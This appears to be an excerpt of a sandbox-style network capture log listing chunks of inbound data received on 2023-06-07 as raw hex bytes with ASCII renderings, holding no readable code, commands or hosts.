2023-06-07 15:08:48 UTC	1275	IN	Data Raw: 39 d8 a7 c8 47 c4 85 02 b5 53 02 fc d0 17 35 cc 23 8b 5b ca 99 38 9b c8 2d 86 89 17 60 d4 60 8c 86 b6 35 c1 ba 4f 56 44 11 67 02 95 a4 a9 21 14 4f 9b 44 29 49 70 59 fb 8e 08 41 8f 21 78 84 8d b1 26 9b 12 ad 2e 10 14 8a aa 18 13 ea 0a 02 c0 7b 4d b4 c0 c4 c1 12 b9 76 73 40 a1 2d fd a2 87 34 7d 37 41 96 b0 66 10 ab 18 68 83 10 12 60 60 4d 18 b9 93 3d 3b 09 50 77 ef 90 a1 b6 60 40 1a 87 54 a1 15 00 2b ef 87 54 4e c8 38 98 30 04 38 95 13 c9 21 38 98 30 d8 0f 72 d0 b3 34 de 73 b9 5e 40 27 73 41 38 07 98 98 42 95 ef a0 50 69 48 00 27 88 91 4c 4d 00 39 94 61 4b 95 07 72 0a 99 27 88 98 60 55 03 f2 9a 84 20 01 89 7e 2e c1 40 42 30 15 27 43 f2 a0 5e 78 3c f2 9b 23 14 80 00 8d 78 ec 0c 0f 20 4f 24 27 85 d8 21 f8 ab 4a 0d e4 20 d8 34 e2 a1 00 58 40 47 2d 06 cb d2 57 Data Ascii: 9GS5#[8-``5OVDg!OD)IpYA!x&.{Mvs@-4}7Afh``M=;Pw`@T+TN808!80r4s^@'sA8BPiH'LM9aKr'`U ~.@B0'C^x<#x O$'!J 4X@G-W
2023-06-07 15:08:48 UTC	1291	IN	Data Raw: a5 65 00 a0 8f b5 0c e4 44 48 95 07 d6 08 af 1a 34 11 18 69 02 51 d2 81 93 8b d7 cd e4 06 d3 38 48 21 41 1b cd ed ef 38 11 48 74 27 08 49 74 22 47 19 ba b9 0d b5 ce 65 c9 c8 44 4b df 41 d1 28 33 15 1a f6 11 64 ed b4 7f eb e8 a9 47 1b 18 6a 9a bb 4d 65 09 8b 49 a9 0e 51 d2 2a 9f f5 83 48 a4 70 75 6a bb 7b 40 10 4f 15 e7 47 2f 09 8a b0 f8 0a 52 36 67 79 85 57 48 bf ba de d0 b7 6c ea 72 59 59 fa 80 e6 04 ac dc 44 49 9f d6 5b 40 80 53 51 1d 34 a5 54 89 5f c3 8d 43 71 31 e2 7e 34 8f eb 53 2c 4a f8 82 fd 76 c8 78 73 6a fe f9 4a 74 35 19 29 c2 80 82 91 13 86 30 97 63 00 06 e5 42 9e 67 de 90 51 10 21 35 0a b2 de e3 93 2b a1 00 69 e9 81 d4 35 69 c7 82 a4 cf 75 9f cb fa bc e2 b4 8c 5d c9 73 48 d4 f1 91 b9 a1 94 f0 40 58 f9 cb 30 7e 13 01 f8 19 89 e0 88 1f 04 75 52 Data Ascii: eDH4iQ8H!A8Ht'It"GeDKA(3dGjMeIQ*Hpuj{@OG/R6gyWHlrYYDI[@SQ4T_Cq1~4S,JvxsjJt5)0cBgQ!5+i5iu]sH@X0~uR
2023-06-07 15:08:48 UTC	1307	IN	Data Raw: 1c 0f 4d 0e 4b 90 5e b7 71 3e f7 8d 70 05 0d 74 c3 4d 01 30 a5 80 21 24 cf f0 71 f7 a4 87 03 53 95 b2 c0 68 10 ac d0 32 97 4e d4 26 28 38 1c 56 10 68 31 5a 12 70 02 02 b5 f0 03 c0 20 0e 7b 0b 6f ae 10 34 e4 8f f5 2a 85 dc 1e 01 61 b7 03 10 9b 1c c2 cb 03 08 34 7f 3e c6 4c 48 72 a4 51 3c 84 eb 20 a9 24 66 e2 27 e5 41 6d 34 07 01 1f 1a 19 0e 67 fc f4 47 01 90 5e 58 6a 45 9c b4 1e b7 d0 1f 98 cd e8 7b 48 88 3a 88 2c c3 02 84 ee ef bc 75 28 66 2e 01 88 2c 0b 71 c6 09 e0 a0 3d f7 dc 89 ae 22 60 ff eb 39 e0 5c db 23 2b 5d a8 eb 23 24 4b 0d 11 2a d4 b0 41 4f a3 3d 87 72 18 02 49 38 d8 1e c4 b5 61 9f 73 18 0f 96 ad bc 85 92 20 9c 01 77 60 f5 d5 75 c7 d4 19 8b 1d 05 d6 4c 82 78 88 3b c3 87 92 34 c1 30 ee cc b6 5e c1 24 81 c4 9a 38 8e c3 ff 14 eb 15 52 57 20 0b 8d Data Ascii: MK^q>ptM0!$qSh2N&(8Vh1Zp {o4a4>LHrQ< $f'Am4gG^XjE{H:,u(f.,q="`9\#+]#$KAO=rI8as w`uLx;40^$8RW
2023-06-07 15:08:48 UTC	1317	IN	Data Raw: a6 d0 60 8a 05 64 75 a1 28 08 ff d8 b1 a4 12 95 55 a0 9e 8b 11 86 31 5c a2 a2 b0 29 45 c3 30 ca 24 10 47 0a 86 b4 a0 c1 d9 f2 c2 d7 f3 5e 15 dc 71 5c fa 94 7a cd ec 4d a0 5c 1c 78 13 47 70 3c bb 10 67 41 1a e2 30 de 35 5b 0b 57 46 df 50 bc 0a dc 41 e3 3b c5 84 a8 88 76 ed 47 0d 08 43 81 f5 d8 34 b0 d6 13 a5 40 5a c9 30 d0 5d e4 d7 c4 48 90 ad fa fe 58 25 50 40 0c 49 a5 35 54 e4 76 fe 4e 90 52 01 8e 10 cb 90 0b f0 4d 83 bc 01 be 8d 1c 48 ba 19 fa 38 3b df 7d 06 1e 59 7f 5b 3a c2 2c 9c b7 48 34 78 12 05 49 27 ca de b3 d5 26 fa 4e 4d f3 9a 16 4b 08 1e 16 7a 22 06 c0 2b c2 7c b8 4e 5a f8 2e 42 2d fa 7d 20 41 d9 ef 9f db 50 2c 39 53 08 7c 12 84 03 ca 39 60 2a 82 f0 36 94 00 c6 88 45 61 5b d7 99 2d 75 93 79 18 2a cc 1c 9f 44 08 20 6e 88 03 c3 80 f6 5c fe 8b d7 Data Ascii: `du(U1\)E0$G^q\zM\xGp<gA05[WFPA;vGC4@Z0]HX%P@I5TvNRMH8;}Y[:,H4xI'&NMKz"+\|NZ.B-} AP,9S\|9`6Ea[-uyD n\
2023-06-07 15:08:48 UTC	1333	IN	Data Raw: 9f dc f7 30 f8 29 7c e0 26 13 39 46 f4 73 b6 71 d4 9a 1e f4 3e f8 71 4e 1b f1 d0 83 24 55 3c 05 9d 00 c2 f2 22 09 82 23 80 73 4e 8e a5 e0 e0 41 58 23 2c 10 00 a8 c0 21 67 0e 44 2e 4d d7 77 6e bc 8b c4 40 70 67 54 6e 89 55 a4 ef eb ca 3e 56 b2 41 43 f8 50 96 70 88 5b 33 f6 9a 86 30 75 ed c6 73 99 86 16 95 ef f0 f7 c3 65 1b 59 29 db 6b 33 c0 ef f2 14 22 84 29 49 fb 79 30 a2 84 15 22 0f aa 9d f1 27 3d c6 d8 18 33 f1 d8 80 77 20 13 28 7d 14 f6 b0 13 b2 54 14 41 6d 38 0a 16 1e 20 d0 9f f0 bf 92 04 1f 8b 4a 14 66 33 0f 66 52 58 b2 4d 38 ee 66 31 16 dc 85 6f 26 da 36 0e 0f 44 c3 81 e1 fd 98 20 60 3b 20 42 14 eb b9 03 91 ff 29 d8 b8 00 29 cd 87 c3 0b d6 b0 62 3b 53 6d c9 e5 83 92 96 8a 5d 18 28 e9 2f 08 7c 8a cb bf 9e 80 e1 1f 0f b6 0a 0a 0e 24 56 16 68 cf 3a d1 Data Ascii: 0)\|&9Fsq>qN$U<"#sNAX#,!gD.Mwn@pgTnU>VACPp[30useY)k3")Iy0"'=3w (}TAm8 Jf3fRXM8f1o&6D `; B))b;Sm](/\|$Vh:
2023-06-07 15:08:48 UTC	1349	IN	Data Raw: 03 0b 8d 04 6c 42 60 6d 69 09 f7 03 c7 10 30 ba 22 10 05 ed 3f 22 8d bf 4a 6b f2 70 50 03 73 10 ff 2a 77 c1 41 ad 09 42 97 0f de 81 d0 4b be 75 2a 53 42 d5 f5 59 5a 65 42 d7 80 47 82 46 be 6b a8 d3 06 28 46 70 e0 63 74 55 91 12 80 55 e8 52 b5 78 b2 6c 41 74 a6 49 61 ae 49 5b b0 04 a9 88 6f 9b 54 5c d0 10 3c d0 83 24 d0 44 12 47 1a 94 14 3e be 2b 3e 29 71 aa 23 09 00 be eb 58 d2 0f 42 24 28 85 da cc 83 ed 11 f1 a6 48 50 ea d7 7c af 3d c1 16 22 e4 ad 49 d1 6c 08 ef 90 e8 4c a9 dd d9 d1 81 1f 44 1c 14 cc ae e3 04 f7 1b 99 da 38 5d e0 74 09 96 73 8a 47 28 b3 d5 44 94 1c 84 1b 34 0e 22 5e 01 8d b1 c1 40 67 68 70 42 a2 85 7d 34 73 79 11 26 1f 8b 04 bf 4c ce 43 30 ab 65 5d 82 a4 70 80 bb 91 dd 33 b1 d8 08 ac 7b 08 f0 74 8f 4c 28 08 ce 9b cb a1 13 18 46 04 58 ae Data Ascii: lB`mi0"?"JkpPswABKuSBYZeBGFk(FpctUURxlAtIaI[oT\<$DG>+>)q#XB$(HP\|="IlLD8]tsG(D4"^@ghpB}4sy&LC0e]p3{tL(FX
2023-06-07 15:08:48 UTC	1365	IN	Data Raw: 45 e4 e5 08 5b 4c ca d8 fc 54 a7 30 a4 56 8f 81 71 46 f5 b0 1e 2c d4 b4 15 7e 30 1b 39 b9 8c 54 33 43 43 1c a3 0d 06 01 74 6b e9 1f 6a c9 a1 44 01 a2 b0 94 49 36 2c 80 01 02 a9 d3 02 db c0 58 b0 23 c2 66 54 25 5f 82 58 a7 1b 57 1c 32 dd 06 cf 14 06 32 5a 52 6e 58 f2 09 0b e1 31 b0 06 70 84 3c 53 1e 1f c9 11 3c d1 b5 2d 1c 1e c9 95 1c 20 79 5d e8 44 5c db 14 cf 20 0c 0c 1a d6 09 2e c1 dd 66 fd 4a eb 10 87 21 ff 77 1c 49 11 38 4a 82 f1 53 48 78 84 5c 21 22 e9 a5 02 a7 43 b7 91 5e 56 11 7a 5e 28 c1 68 23 50 84 05 48 2c 8d c7 c8 26 2e 1a 3c d1 d3 c0 7c 36 72 d1 5d 24 95 d3 b0 a9 9d 0f 5c ff c2 11 4d bd 32 e8 ee 92 c0 e2 10 b1 72 2c 08 1f e3 1d 1a 8e 2f 4a 2e 88 d4 85 65 8f 32 8d 86 3b ee 6c 13 ab 95 38 02 1e 0e 19 b3 6f 45 d1 d0 21 0f 50 2e 12 89 8a e2 8e 8a Data Ascii: E[LT0VqF,~09T3CCtkjDI6,X#fT%_XW22ZRnX1p<S<- y]D\ .fJ!wI8JSHx\!"C^Vz^(h#PH,&.<\|6r]$\M2r,/J.e2;l8oE!P.
2023-06-07 15:08:48 UTC	1381	IN	Data Raw: b0 31 f1 07 e6 9c 82 57 d8 d7 52 27 07 59 0d 4e 14 24 2b 06 85 da 32 28 85 45 86 a5 c1 35 86 ad 91 a2 6c 89 af 34 b6 0e f1 89 07 24 b0 58 20 3f 5e 74 57 12 77 f0 db cb 1c 18 56 4a a6 18 01 8b b7 04 82 ae 01 b1 45 57 d1 9f a4 ca 95 67 1d 84 20 82 a8 17 e8 8b cf 06 53 c9 14 c7 56 1c 87 96 e7 2a 8a 62 c7 d8 1c 2c 8a d5 96 23 f5 ab 02 2d 39 a5 5f 31 71 4b b8 0c 38 51 d8 1a ab 18 b2 3d e2 90 27 d2 55 e4 e4 d8 74 62 05 a9 09 81 16 77 d0 1c d2 74 16 5d d3 03 cb c1 45 92 43 5d 4f 20 0d 5d 0b 90 03 39 4f 14 03 49 87 09 92 cb 04 df 94 a6 b5 36 ad d6 56 e2 04 6d 47 7a f6 59 ab c1 88 14 e0 01 8d c2 0a a5 60 ff 40 fc f7 6c 01 16 59 67 68 21 77 10 15 a4 23 80 1d 4f 0c d5 2e 97 80 97 14 96 57 18 34 16 84 aa ba c3 30 5e c7 d0 ef 27 b0 30 68 f5 11 4f 15 09 c4 4f 58 83 0e Data Ascii: 1WR'YN$+2(E5l4$X ?^tWwVJEWg SV*b,#-9_1qK8Q='Utbwt]EC]O ]9OI6VmGzY`@lYgh!w#O.W40^'0hOOX
2023-06-07 15:08:48 UTC	1397	IN	Data Raw: 0d fd d8 96 4b 52 53 66 50 ec d9 c5 7f 2a 58 ae 03 f3 56 ff 14 85 90 80 ac 02 c0 c0 2a c4 1e 59 bd 03 38 08 1a 13 95 4a d9 05 89 17 df 1c 50 14 19 51 96 e2 f6 c4 b0 eb 08 13 e4 fc 07 71 83 ff 76 c7 20 c1 65 fc 02 40 f8 c4 10 20 c3 a9 f1 98 eb 7b 22 c1 fb 53 84 93 55 8e 4c 37 53 d3 5f 06 8d f3 c5 00 fb ed fb a0 58 ca bf 19 b7 0f f4 03 cb f7 db 7b 4b 0e 51 56 19 f7 13 75 34 20 7c f7 fc 30 fa 39 1b bb 46 c6 20 6b 9a e0 7c b0 f8 a4 27 c1 71 d6 b8 18 5a 09 cc 56 ff 80 11 09 82 ba af 0c 79 14 b5 80 e7 49 69 7b 6a 13 bb 34 39 74 dd e1 8d 96 00 e4 51 5a 38 22 b8 81 67 a7 20 80 36 25 d6 84 67 f8 61 ba 82 24 f9 ec 7d 3c 50 ba 5f 36 3c b3 e0 1c b0 97 f0 e2 66 fa b1 81 17 89 e4 02 67 8b ea e9 4a 8c 05 5d 65 53 56 28 38 03 3c 0a 54 8f 76 4d 98 2e 1c 94 8e ec 48 42 d6 Data Ascii: KRSfPXVY8JPQqv e@ {"SUL7S_X{KQVu4 \|09F k\|'qZVyIi{j49tQZ8"g 6%ga$}<P_6<fgJ]eSV(8<TvM.HB
2023-06-07 15:08:48 UTC	1413	IN	Data Raw: 7e 90 1e 98 1d 9b be c7 33 4b d6 f8 d8 88 01 61 4e a5 3b 0b 19 94 09 af 75 ae 02 8d 1a 16 91 6d af fe de f8 40 92 94 83 03 f2 03 48 20 03 da 03 dd 60 81 e1 3c 1e e2 3c 74 6e 7c 14 68 01 a1 03 ca 9c 7c e8 21 67 d1 6c c2 74 9a 3f 06 02 08 1a 68 34 01 8b 24 72 1f e8 6c 87 f3 bf eb 04 69 3c d0 0b 98 12 66 08 9b 33 8c c3 87 23 02 34 08 6a 8b 76 52 91 18 c1 20 36 ea 2b 33 26 f8 16 8c 1f 68 42 fc 24 0b f4 c5 8b da 53 b6 16 32 31 57 50 a6 fc c6 76 31 34 6b c0 0d 03 34 39 34 77 30 3e 70 76 b0 cb b5 da e7 5d 74 1f 68 41 59 1d 63 34 b6 7d 79 8d 75 4b f7 21 24 8b c8 b8 82 21 f8 5e 58 d1 f9 c1 78 9a 58 94 10 e0 8b b8 1e 60 f6 77 ed 28 b8 dd f8 73 04 2b d3 c3 38 7e d6 3c 74 80 cf 94 2b d0 be 10 40 24 71 06 10 ae df 1a 62 80 0e 67 76 46 75 20 bc 0c eb b2 04 43 e9 e4 e8 Data Ascii: ~3KaN;um@H `<<tn\|h\|!glt?h4$rli<f3#4jvR 6+3&hB$S21WPv14k494w0>pv]thAYc4}yuK!$!^XxX`w(s+8~<t+@$qbgvFu C
2023-06-07 15:08:48 UTC	1429	IN	Data Raw: 49 78 21 bd 44 08 3a 62 29 8d 2f 9c b1 08 c3 d1 e8 d8 0e c0 36 dd 80 71 c7 f7 d7 16 6e d2 90 2a b3 4a 7b e7 e7 ca d8 44 d9 2e 80 b8 d0 8b d1 da 6a 49 63 ec 37 c1 30 85 52 a0 dd 0e c6 0a 84 ca 68 ea e3 21 16 8c a2 f2 34 91 d1 89 2f be fc a8 4b f4 6c 63 c5 e1 8d 53 1e 0c eb 09 eb a1 49 e0 22 2d c9 96 c2 19 60 b1 81 fe 9c 0d 3c c0 a0 ca 17 ba 05 b0 7d 63 75 4d 0e 25 f0 3f 70 77 41 d2 60 23 cc 1a 8e 8d 4a 7c 90 1e 54 4b f2 32 54 ea 01 36 04 f6 4a ec 76 f5 60 ea 49 15 dd 95 0c 81 e1 e0 57 ca 7c 17 59 50 08 77 1a 6a 1f 5e 7c 2e 20 64 ff f0 2a ca 80 c1 1f 88 44 53 58 80 75 a8 b6 ed 5d a8 b8 11 86 99 5d 88 51 88 5d bf ff 3a 06 f0 2c 4d ab 88 45 bd 1f 8d 01 2c 3b 83 21 23 03 31 80 c2 7f c3 0a d0 6e 1a e4 88 45 c4 66 ce c0 3a 20 22 c5 01 71 22 06 8b 09 0b eb fe 38 Data Ascii: Ix!D:b)/6qnJ{D.jIc70Rh!4/KlcSI"-`<}cuM%?pwA`#J\|TK2T6Jv`IW\|YPwj^\|. dDSXu]]Q]:,ME,;!#1nEf: "q"8
2023-06-07 15:08:48 UTC	1445	IN	Data Raw: 13 1f 81 eb 72 b9 bc c3 7a 73 6c 65 8d 27 27 33 0d f7 ee eb 4a 9d a0 97 06 68 7c 4d 78 6d c0 41 01 db 47 b2 03 c1 22 b0 93 21 39 f5 39 69 af 03 7c d2 29 c7 9f 32 d4 1a c0 9d 6e 56 0f 21 57 f7 19 86 95 30 54 10 96 c6 a6 c3 4f 37 79 ef af 5b 06 84 0e 4a 17 62 69 c8 b3 79 27 d0 26 36 ae 28 2c e7 3d db ed ae 3c 0f 63 16 ac 0b 54 1e 40 5a 7a 47 b6 bd 36 ad 0e ac 7c 1e 32 3a 43 11 12 c7 0d 09 4e 5f e0 1a 10 21 0d 3d b7 7f 13 c0 45 85 12 43 eb 1a 29 00 23 3c f1 c8 29 83 c2 6b 85 a7 82 ca 9e d8 10 c0 18 e8 88 40 d9 db 27 24 80 d0 be f3 50 74 18 9f 18 1a af 13 67 53 57 07 84 07 69 68 01 e4 0c 6a 04 2a 85 46 53 ec 1e 5a 06 1d d3 1a 47 68 54 d3 97 46 c2 13 ae 14 06 ba 56 48 57 81 55 48 14 be 01 eb 9e 63 08 c9 0a 28 c0 38 20 88 9d 29 01 bf f1 50 86 a2 41 53 7c 00 50 Data Ascii: rzsle''3Jh\|MxmAG"!99i\|)2nV!W0TO7y[Jbiy'&6(,=<cT@ZzG6\|2:CN_!=EC)#<)k@'$PtgSWihj*FSZGhTFVHWUHc(8 )PAS\|P
2023-06-07 15:08:48 UTC	1461	IN	Data Raw: 09 ac 7d 4a 11 37 ac 8a a3 b0 1b 59 79 26 30 c5 2c f1 d4 4e c8 89 c1 1b a6 08 bf d4 9f 13 c9 41 bf d4 a6 08 59 88 39 c9 93 95 e8 bf d4 a6 18 a6 1c 54 02 e2 1d a6 28 1d 76 56 42 3e d8 04 1a a6 24 47 72 40 1e 2e 72 6f a6 38 2e 54 a2 1a c9 72 fc 77 c6 12 92 c9 f0 4a aa 44 02 07 85 df 63 d5 be b6 57 8a 59 08 4f eb 2a 64 2a df 0c 75 d9 a4 ac 49 a1 b6 31 60 3d 33 6e 7b 32 55 24 b8 9d 73 c8 92 49 2e 43 48 05 c8 c5 0a 45 64 c8 50 77 5e 4d b1 e2 86 93 48 87 73 e0 99 36 8e e2 6f 6f 58 79 a1 bc 38 24 69 5c 5f 60 be 57 ef b2 73 69 64 1f fa 89 34 47 6c b8 5c 9e 43 70 dc 74 78 39 e4 1b 41 9e 47 7c 80 ab c0 e5 b2 74 4f 84 88 38 a8 47 c5 e5 39 e4 8c 90 be 94 af 56 43 a8 1c 10 34 36 5a 90 09 10 38 42 10 08 26 30 08 05 41 e3 97 36 11 fb e4 08 37 e4 91 69 c0 e1 06 ad 16 b6 Data Ascii: }J7Yy&0,NAY9T(vVB>$Gr@.ro8.TrwJDcWYOduI1`=3n{2U$sI.CHEdPw^MHs6ooXy8$i\_`Wsid4Gl\Cptx9AG\|tO8G9VC46Z8B&0A67i
2023-06-07 15:08:48 UTC	1477	IN	Data Raw: 33 ff db f4 c7 18 07 e3 85 86 7a bc 8d be 8f 4d 5d 0b 6b 21 44 03 50 42 52 6a 5b 0d 6e 70 43 d3 1e e0 a4 cf f4 37 d7 39 be 48 7c 62 ed 4d 7e 29 36 33 03 0f cb 40 85 ae 44 f8 ea 1d 96 81 42 df 78 20 c0 bb 9f 68 98 40 3b 96 51 7c d9 57 57 88 41 41 4b 49 25 d6 c2 12 88 b2 df 49 33 82 75 b8 98 97 56 d1 ef 33 2c 11 ce 57 50 42 41 15 60 07 06 f3 68 3b f0 b4 f5 21 86 d6 28 2a 58 0b cf 69 2f 15 e0 df c5 da c1 af 10 b4 07 bf 40 27 a0 0f 16 03 36 40 c2 15 d6 7b 70 1d 27 81 35 c8 a6 27 7c 74 0d a0 e7 cf b5 eb 16 9c f8 b6 0c 93 30 0d 90 81 d3 2e a8 d3 ad 54 21 6b 97 b8 16 df bd c7 68 30 75 80 7f 40 3d b7 99 27 08 fc 3a dc d3 84 cd 58 97 24 f1 eb 2a 63 1a a0 03 67 3a 50 72 af 2a 83 2c 7b 3f 6d fc 75 69 63 86 65 60 40 02 5e 2a 94 ac 25 53 22 0a d4 27 59 67 4c 0a b1 26 Data Ascii: 3zM]k!DPBRj[npC79H\|bM~)63@DBx h@;Q\|WWAAKI%I3uV3,WPBA`h;!(Xi/@'6@{p'5'\|t0.T!kh0u@=':X$cg:Pr,{?muice`@^%S"'YgL&
2023-06-07 15:08:48 UTC	1493	IN	Data Raw: 86 75 ed 59 fb 31 8b 8d 29 2e b3 a5 39 48 3c 33 7b a6 19 6c d4 20 8b 1e 3b 6b 48 b5 22 f0 75 0c 3d 06 9e b4 bd a1 67 03 6a 99 5e 77 d9 b6 0c 6d 0a 93 5d a7 80 33 0a 9e 64 ad 23 15 a7 80 33 5c 91 5c 92 18 2a 5b b8 2a e2 15 f5 e8 23 5a c8 72 41 c6 3d 21 da 05 31 68 58 c1 08 d0 8c e6 5b 04 68 78 68 c6 03 61 ad e0 49 82 c2 87 a7 e7 d8 8d b5 55 2d a2 11 5b 7d 61 67 95 5f 6c 16 0d 2b b2 0d ff ac 50 a1 15 1b 38 cb c4 91 4e 30 31 5c 10 57 0c 5a 5b 4b ad 9a 58 12 62 f1 af d5 46 34 03 46 2c 36 8b ca 10 96 8e 79 07 c6 a7 2c eb 4e 56 a5 2f 45 6a 30 fc b8 67 df c3 ef 06 48 38 db 81 7c 2c 4b 01 02 48 64 36 94 09 3e 4f 18 b2 4c c2 ee 0e 1c 52 95 1c ac 25 53 3a df 27 28 78 98 5c c9 30 38 a9 a0 89 bb 28 66 3c 52 ca 1e 08 a8 fd 52 81 e0 1f 89 42 70 fc de a2 71 58 05 4b 09 Data Ascii: uY1).9H<3{l ;kH"u=gj^wm]3d#3\\[#ZrA=!1hX[hxhaIU-[}ag_l+P8N01\WZ[KXbF4F,6y,NV/Ej0gH8\|,KHd6>OLR%S:'(x\08(f<RRBpqXK
2023-06-07 15:08:48 UTC	1509	IN	Data Raw: 2b 6b 71 5c c3 ba a7 55 41 09 c0 2a 9d d3 91 30 42 11 e2 a2 37 e2 1b e1 f3 0c 70 13 0e e4 05 08 f0 2e 00 ce 13 59 d0 d5 c7 e1 37 1e db 13 db 03 2b db 46 f3 07 ce 1b 28 0c 01 b9 29 7b c0 16 70 76 18 ff 0b 44 be 85 d7 02 5e 79 29 78 4b 0e 06 a8 fd 94 b6 0c d1 ca 31 b6 42 2c 15 b4 06 5e 1e b6 01 08 67 60 bb f6 ec 79 eb 34 f8 5a 64 8d 40 d2 28 11 de 08 1f 5f 1b c0 5e 22 21 3c 44 00 1d 4a 7f 5b 08 6b 0d 06 ed 08 d2 53 ea a9 b0 32 b3 48 0d 39 d3 f2 a2 d4 06 06 0e d5 34 10 0b cb fb 4a 78 0c 74 c0 98 08 06 1e 81 76 b4 34 83 1d 3c bd a7 84 a1 36 1a 2a 14 e5 10 3b a7 bb b3 8e 33 66 4f 5b b8 fe 0e 65 d8 b7 4d 7d 02 3f c4 e5 7e b6 8c 26 7d 18 01 5b cd a6 46 a4 72 52 43 c1 00 14 46 16 c5 98 b1 02 2b 56 9a af c7 c3 3a a1 3d 74 4d 10 e5 0c 41 d0 10 48 10 e8 fb 60 eb 03 Data Ascii: +kq\UA0B7p.Y7+F(){pvD^y)xK1B,^g`y4Zd@(_^"!<DJ[kS2H94Jxtv4<6;3fO[eM}?~&}[FrRCF+V:=tMAH`
2023-06-07 15:08:48 UTC	1525	IN	Data Raw: 12 01 ab 84 d2 12 a6 63 dc 0b 75 60 bf 00 f1 8a 8c 24 51 a9 77 4c 92 ed 43 15 32 a9 23 b2 33 1d a7 64 eb 7d a9 5c 34 28 51 9b d4 cd b3 22 83 1c 16 75 16 ef 4e 63 50 b5 f8 e9 7a 03 a9 30 f0 48 4a 54 b9 a4 28 e0 5b 03 b0 02 60 61 2d 9a 57 47 90 4a 4b 9e 94 66 c0 2e 19 c0 e4 bf c1 ea 1a 5a b7 47 09 30 0b 7f 43 e8 e6 4f f8 3d 01 94 a3 10 f1 bf 4d e1 8d 1c 47 eb 0e 4a 92 76 d9 9b b2 24 01 e1 2b ad 7f 85 75 42 8e 54 53 25 eb 10 f3 6a fa 60 23 30 9a 87 f6 56 73 2c 96 8e 92 a8 55 e4 50 b4 98 12 eb 68 37 5b d0 cd 26 5d e9 93 d6 13 3c 6b 55 38 4d ee 03 23 b0 77 6b b8 88 16 6d 0a 70 59 0e 60 ae 9b 86 2c 09 57 19 41 43 d6 c9 f1 0a fb 60 60 a2 a9 c6 3b 0a 74 27 21 1c 26 4b de bc 72 de 3d 40 87 93 5a fc 9e 34 80 ca c9 35 c5 50 d2 b4 1a 13 80 8e c0 b8 55 b0 4c 00 ea 92 Data Ascii: cu`$QwLC2#3d}\4(Q"uNcPz0HJT([`a-WGJKf.ZG0CO=MGJv$+uBTS%j`#0Vs,UPh7[&]<kU8M#wkmpY`,WAC``;t'!&Kr=@Z45PUL
2023-06-07 15:08:48 UTC	1541	IN	Data Raw: 77 77 36 06 f6 2a 22 42 3c 2f 72 10 0c 44 26 02 7f 22 09 1c ca c6 c1 02 36 83 b8 40 51 27 90 1d 4a 9c 79 52 1b eb 5d a7 0e ad 43 4f 1c 7b 21 94 69 33 34 59 58 02 18 ab 11 74 94 50 cc 3e 4a f5 03 88 1c 02 41 40 59 4d 85 c6 2d 43 8b 59 07 bc f0 80 b8 89 c2 07 8e da 28 80 ff d2 7b 8a 08 6d 55 0d 06 84 a7 13 27 a6 4c de d4 3f 81 8b 26 8b 49 58 57 e9 09 03 46 6b 48 7e 18 36 41 e3 27 71 89 82 ea a2 11 02 18 0f 35 ef cf 69 17 2a 31 67 d9 28 86 73 7a 80 b8 3d 4b 58 85 0e 7e 27 83 06 4c ec 90 07 0c 1c a0 0f ba 2a 22 32 0b 42 07 5f 8a 18 22 9e d0 c3 49 11 70 54 91 78 69 50 09 e7 2f 38 c7 16 c0 4b 1c 79 09 8b ac 52 00 03 60 05 ba fa 86 80 14 80 01 04 89 05 f0 d0 10 f1 34 8d 7a 00 1a 12 52 2c 85 c1 82 86 0b 66 2b 00 6f 07 e0 54 24 8a 1e 34 02 75 18 4c 5a 76 31 8d 88 Data Ascii: ww6"B</rD&"6@Q'JyR]CO{!i34YXtP>JA@YM-CY({mU'L?&IXWFkH~6A'q5i1g(sz=KX~'L*"2B_"IpTxiP/8KyR`4zR,f+oT$4uLZv1
2023-06-07 15:08:48 UTC	1557	IN	Data Raw: 5d 26 41 2a 60 d4 dc 45 61 84 4b e8 85 9f 24 c3 1f 52 d8 39 56 31 fa b6 d4 d0 b9 bf dc 4d 00 96 b0 75 c7 30 4d 3c 82 1f f3 40 d6 d1 90 40 f6 20 46 c4 14 59 7b 97 28 ac 73 0a 8b 5f 48 cb 78 01 16 8f 64 ca 47 20 1e 32 0c 18 19 54 f7 7d 9a 4a 96 82 7f 80 2a 1c b0 1e 80 7a 5f 5a f7 f3 c0 07 30 a0 a6 86 d2 7e 07 d0 70 5a 48 5e bf 29 2c 04 07 3c 0e fd e3 2a ac 19 91 d4 64 39 84 9a 82 06 6c 68 55 c8 fc e8 a0 04 e3 18 a8 98 9a 54 18 30 9e 3a 6a d4 06 01 53 db aa a2 45 2f e0 75 17 f4 ae 47 91 ec 4c 54 8a 17 a5 d2 5b 0a 19 58 92 74 33 d7 44 5a 97 5c 7a 80 28 03 c9 32 02 24 06 87 16 46 d4 30 8d 41 77 f2 42 c3 a0 ec 71 ae bc 48 e0 e2 0d 5e 14 7c 85 9e 1b 02 8d a8 25 6d 59 c1 da 80 c1 b7 80 0f 75 e8 c1 e6 07 60 ac df e0 c2 98 aa 56 3b 99 8b 4c 99 fc 50 a5 58 06 8e 47 Data Ascii: ]&A`EaK$R9V1Mu0M<@@ FY{(s_HxdG 2T}Jz_Z0~pZH^),<*d9lhUT0:jSE/uGLT[Xt3DZ\z(2$F0AwBqH^\|%mYu`V;LPXG
2023-06-07 15:08:48 UTC	1566	IN	Data Raw: 4e 0f 4f c2 e0 e0 90 e6 2b 78 7c 1c b5 69 4d eb 68 cc 26 00 d2 03 29 a8 14 ae 01 08 9f 98 1d 0d 71 2d 3c d3 b6 75 8d 14 a8 8d 73 41 10 9b 0f 00 48 75 56 f5 95 7a 05 83 03 c3 d6 d5 59 5e 73 96 8e 92 eb 57 79 4c 84 3e 81 65 b7 78 14 59 ac 3c ca f8 5a 24 54 16 38 87 34 c3 b4 1a 0f 74 78 10 06 26 95 b7 10 02 13 01 50 6a d0 b1 4f 41 0c 7c 18 1c 86 94 5c 42 7e 43 df 20 c7 95 9f 50 05 74 ce 72 e1 65 e2 f8 d0 f0 b4 d5 0c 08 ff c8 0d b2 d6 09 4c 36 0c a0 c4 7f 1d 36 03 0c e0 d9 b1 63 7d 1f 1e 12 4b 7c de 63 eb 10 68 54 c8 00 1a b4 c3 71 03 74 08 2e d1 29 27 42 4a 5b 2a 34 d1 0e fc b1 d9 93 91 2b b2 0c 08 90 07 c6 49 50 49 78 13 01 cc c0 30 7b 5b bf 14 8b 93 8b 8d 60 5e 80 ae 64 6a 4f 30 00 a3 88 a4 35 0c a1 13 0c a9 c4 8a 94 59 4d fe 18 b8 c4 9a ed 9b 67 20 04 57 Data Ascii: NO+x\|iMh&)q-<usAHuVzY^sWyL>exY<Z$T84tx&PjOA\|\B~C 